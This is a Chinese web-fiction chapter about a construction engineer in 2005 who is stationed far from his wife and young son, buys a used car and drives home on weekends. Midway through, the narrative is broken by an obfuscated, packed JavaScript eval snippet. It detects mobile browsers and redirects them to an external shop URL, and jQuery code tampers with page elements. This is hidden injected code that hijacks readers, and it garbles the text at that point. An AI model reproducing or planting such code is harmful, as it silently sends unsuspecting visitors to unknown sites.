2005年8月底的一个下午，陈实被叫到李经理办公室。
“坐。”李经理指了指对面的椅子，递过来一份文件，“公司接了个新项目，在河池，县城的一个商住楼。甲方点名要我们做，但那边条件艰苦，需要有人驻场。”
陈实翻开文件，扫了一眼项目概况。六层框架结构，建筑面积八千多平，工期十个月。
“我去。”他说。
李经理看了他一眼：“不回家商量商量？晨晨才五岁。”
“不用商量。”陈实合上文件，“苏惠会理解的。”
晚上回到家，他把这件事告诉苏惠。她正在厨房炒菜，手里的锅铲停了一下，然后继续翻动。
“要去多久？”
“十个月。每周尽量回来。”
“开车还是坐班车？”
“班车。四个多小时。”
苏惠没再说话。菜出锅了，她端到桌上，喊陈晨吃饭。
吃饭的时候，陈晨一直在说幼儿园的事——今天谁抢了他的积木，老师表扬了他的画，午饭有他爱吃的肉丸子。陈实听着，偶尔应一声。他看着儿子的小脸，心里忽然有些不舍。
晚上哄睡陈晨后，他回到客厅。苏惠坐在沙发上叠衣服，一件一件，叠得很慢。
“想什么呢？”他在她旁边坐下。
苏惠没抬头：“想这十个月怎么过。”
“我每周都回来。”
“四个多小时的车，你周五晚上回来，周日晚上走，能待多久？”
陈实没说话。
苏惠叠完最后一件衣服，抬起头看他：“去吧。那边需要你，家里有我。”
陈实看着她，想说点什么，但不知道说什么。最后只是握了握她的手。
苏惠反手握住他，用力了一下，然后松开：“早点睡，明天还要上班。”
---
2005年9月初，陈实背着行李，坐上了去河池的长途班车。
四个半小时的山路，弯多路陡。他靠着车窗，看着窗外的风景从城市变成农田，从农田变成山岭。过几个隧道的时候，耳朵嗡嗡作响，他张了张嘴，咽了口唾沫，才舒服一点。
河池县城比他想象的还要小。一条主街贯穿南北，两边是三四层的楼房，楼顶晒着花花绿绿的衣服。工地就在县城边上，靠着一座山，从项目部办公室的窗户看出去，能看见满山的桉树。
宿舍是活动板房，六个人一间。陈实的床靠窗，铺好被褥后，他坐在床边愣了一会儿。同屋的人还没回来，只有他一个人，听着外面的风声。
他想起柳州的家——苏惠这会儿应该在做饭，陈晨应该在看动画片。再过一会儿，陈晨会问“爸爸什么时候回来”，苏惠会说“爸爸在盖房子，盖完就回来”。
他掏出公司配的旧摩托罗拉的模拟手机，想打个电话，发现信号只有一格。他走到门外，举着手机四处找信号，终于在一个角落里找到两格。拨通电话，响了三声，苏惠接起来。
“到了？”
“到了。住的地方还行。”
“吃的呢？”
“工地有食堂。”
电话那头传来陈晨的声音：“是爸爸吗？我要跟爸爸说话！”
苏惠把电话递给他。陈晨的声音从听筒里蹦出来：“爸爸！你在哪里？”
“爸爸在河池，很远的地方。”
“那你什么时候回来？”
“周末就回。”
“周末是哪天？”
“过几天就是。”
陈晨沉默了一下，然后说：“爸爸你要快点回来，我画了一幅画给你看。”
“好。爸爸一定快点回来。”
挂断电话，陈实站在那个角落里，看着远处的山。山被夕阳染成橘红色，一层一层的，像凝固的浪。风吹过来，带着草木的气息，和柳州完全不同的气息。
他忽然想起父亲当年去外地出差，是不是也这样——站在陌生的地方，给家里打电话，听着他和母亲的声音，心里又踏实又空落。
踏实的是知道家在那里。空落的是，不在一起。
---
在河池的日子，比陈实想象的更难熬。
工地条件艰苦，没有自来水，用水得去附近村里拉；电压不稳，搅拌机经常停机；当地工人方言重，沟通起来费劲。每天从早忙到晚，回到宿舍已经累得不想动。
但最难熬的，是晚上。
熄灯后，他躺在行军床上，听着同屋的工友打呼噜，听着山风从板房缝隙里钻进来的呜呜声，听着远处偶尔传来的狗叫。那些声音把他包围着，却让他更清醒地意识到——这不是家。
每个周二和周五晚上，他都会走到那个有信号的小角落，给家里打电话。
周二那次，苏惠接的，说晨晨今天在幼儿园得了小红花，回来高兴了一下午。
周五那次，陈晨抢着接电话：“爸爸！我今天吃两个鸡腿！”
“这么厉害？”
“嗯！妈妈说，多吃点，快点长大，就能跟爸爸一起去工地。”
陈实握着电话，喉头有些发紧。
“晨晨，你要好好吃饭，好好睡觉，听妈妈的话。”
“我听妈妈话！爸爸你什么时候回来？”
“明天就回。”
“明天是今天吗？”
“明天就是明天。”
陈晨想了想：“那明天你回来给我讲故事。”
“好，讲故事。”
挂断电话后，陈实在那个角落里站了很久。月亮很亮，照在远处的山上，山脊的轮廓清晰得像剪出来的。他想起柳州的家，想起家里的阳台，想起从阳台看出去的柳江，想起月光照在江面上的样子。
他忽然发现，不管人在哪里，月亮都是一样的。
这让他好受了一点。
---
11月的一个周末，陈实照常坐班车回柳州。
班车在路上坏了两次，等他到家的时候，已经是晚上十点。陈晨已经睡了，苏惠还亮着灯等他。
“饿不饿？给你留了饭。”
陈实摇摇头，走到陈晨房间，站在床边看了很久。儿子又长大了，脸圆了一点，睡梦中还吧唧嘴，不知道在梦里吃什么好东西。
回到客厅，苏惠在给他热饭。他看着她的背影，忽然说：“我想买辆车。”
苏惠转过身，有些惊讶：“买车？”
“嗯。二手的就行。有了车，每个周五能早点回来，周日能晚点走。”
苏惠沉默了一会儿：“钱够吗？”
“攒了一点，再加奖金，差不多。”
“那就买。”
陈实没想到她答应得这么干脆。他以为她会问这问那，会担心安全，会嫌浪费钱。但她什么都没问，只说“那就买”。
“你不担心？”他问。
“担心什么？”
“担心我开车不安全，担心花钱……”
苏惠把热好的饭端到他面前，在他旁边坐下。
“你决定的事，我都支持。”她说，“再说，你能多回来待会儿，我和晨晨都高兴。”
陈实低下头，扒了一口饭。饭很香，但他吃不出味道。他只是觉得，有这句话，这辈子值了。
---
11月下旬，陈实抽了个周末，去柳州二手车市场。
市场很大，到处是“高价收车”“低价转让”的牌子。他转了一圈又一圈，看了十几辆车，不是太贵就是太破。
快收摊的时候，他在角落里看见一辆银色的五菱SPARK。车不大，车身有些划痕，但整体还算周正。他蹲下来看了看轮胎，花纹还行；打开引擎盖，发动机声音平稳；坐进去试了试，挂挡顺滑。
车贩子在旁边说：“2002年的车，跑了五万公里，两万三。价格可以商量。”
陈实又转了一圈，摸了摸车门内侧，看了看座椅磨损。然后站起来：“两万，今天能过户吗？”
车贩子愣了一下，然后笑了：“行，两万就两万。你这人爽快。”
过户手续办了一下午。等陈实拿到行驶证，已经是傍晚。他坐进驾驶座，握着方向盘，忽然有些恍惚。
这是他的车。
他从驾校毕业后，很少摸车。开过项目部的皮卡，开过工友的面包车，但从没想过自己会有一辆车。虽然只是辆二手小五菱，虽然花了两年积蓄，但它是他的。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313205|198899||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他发动车子，慢慢开出市场。路过柳江大桥时，他停下来，看着桥下的江水。夕阳把江面染成金色，波光粼粼，像无数碎金子在跳。
他想，以后每个周末，他都能开着这辆车，跨过这座桥，回家。
---
2005年12月的一个周五，陈实提前两个小时收工。
他检查了一遍工地，交代好周末的安排，然后跳上车，发动引擎。从河池到柳州，要翻好几座山，走一百多公里山路。他没走过这条路，心里有些没底，但油门踩下去的那一刻，只有一个念头：回家。
山路比他想象的更难开。弯多，坡陡，对面来车时得小心翼翼。有一处连续下坡，他挂了二档，让发动机带着走，不敢踩刹车太狠。但每一次转过一个弯，离家就更近一点；每一次翻过一座山，离柳州就更近一点。
三个半小时后，他终于看见柳州市区的灯火。
那一刻，他眼眶有些热。
车开进小区的时候，已经八点多了。他抬头看自家窗户——灯亮着。那个暖黄色的光，是他这三个多月来最想念的东西。
他下车，腿有些软，但脚步很快。上楼，敲门。
门开了。苏惠站在门口，笑着看他：“饿了吧？吃饭。”
陈晨从她身后探出脑袋：“爸爸！”
陈实蹲下来，一把抱住儿子。小家伙软软的，暖暖的，带着肥皂的香味。他把脸埋在儿子肩膀上，过了好几秒才放开。
那顿饭，他吃了两碗。陈晨一直在旁边说话，说幼儿园的事，说新学会的儿歌，说妈妈做的红烧肉好吃。陈实听着，偶尔应一声，心里满满的。
饭后，他陪陈晨讲故事。讲完一本，陈晨还要讲，苏惠说“让爸爸休息”，陈晨才不情愿地钻进被窝。
陈实给他掖好被子，坐在床边，看着他闭上眼睛。等儿子呼吸均匀了，他才轻轻起身，带上门。
回到客厅，苏惠在收拾碗筷。他走过去，从背后抱住她。
苏惠愣了一下，然后笑了：“怎么了？”
“没怎么。”他说，“就是想抱抱你。”
苏惠没说话，只是把他的手握紧了一点。
那天晚上，他睡得很沉。没有山风，没有狗叫，没有工友的呼噜声。只有身边熟悉的气息，和窗外隐约可见的柳江。
这是家。
---
周日傍晚，陈实得回河池了。
陈晨站在门口，拉着他的衣角：“爸爸不走。”
“爸爸要去盖房子。盖完房子就回来。”
“什么时候盖完？”
“快了。”
陈晨瘪瘪嘴，没哭，但眼睛红了。苏惠把他抱起来：“爸爸过几天又回来，你不是有那幅画要送给爸爸吗？”
陈晨想起来，让妈妈放下他，跑回房间拿出一张画。画上是三个小人——一个高的，一个矮的，一个更矮的。高的人戴着帽子，矮的人穿着裙子，更矮的人站在中间，拉着他们的手。
“这是我们家。”陈晨说。
陈实接过画，小心地折好，放进贴身的口袋里。
“爸爸收好了。”他说，“等爸爸回来，把它贴在墙上。”
陈晨点点头。陈实摸摸他的头，然后转身下楼。
发动车子，他抬头看了一眼自家窗户。陈晨趴在窗台上，正朝他挥手。他也挥了挥手，然后踩下油门。
回去的路，依然是三个半小时。但这一次，他开得没那么急了。月亮升起来了，照在山路上，路面像铺了一层霜。他打开收音机，里面放着老歌，刘文正《三月里的小雨》，是那种他年轻时最爱听的。
他想起第一次带苏惠去工地那天，她站在七楼，风吹起她的裙摆。想起陈晨刚出生时，皱巴巴的小脸，轻得几乎感觉不到的重量。想起刚才陈晨说的“我们家”，想起口袋里那张画。
他想，这就是他盖了一辈子房子的意义——不是那些楼，那些桥，那些竣工时挂上的横幅。是这些。是家里亮着的那盏灯，是儿子画的画，是妻子的一个拥抱，是月光下开往回家的路。
前方，山路还在延伸。月亮一直在头顶，陪着他。
他握紧方向盘，继续向前。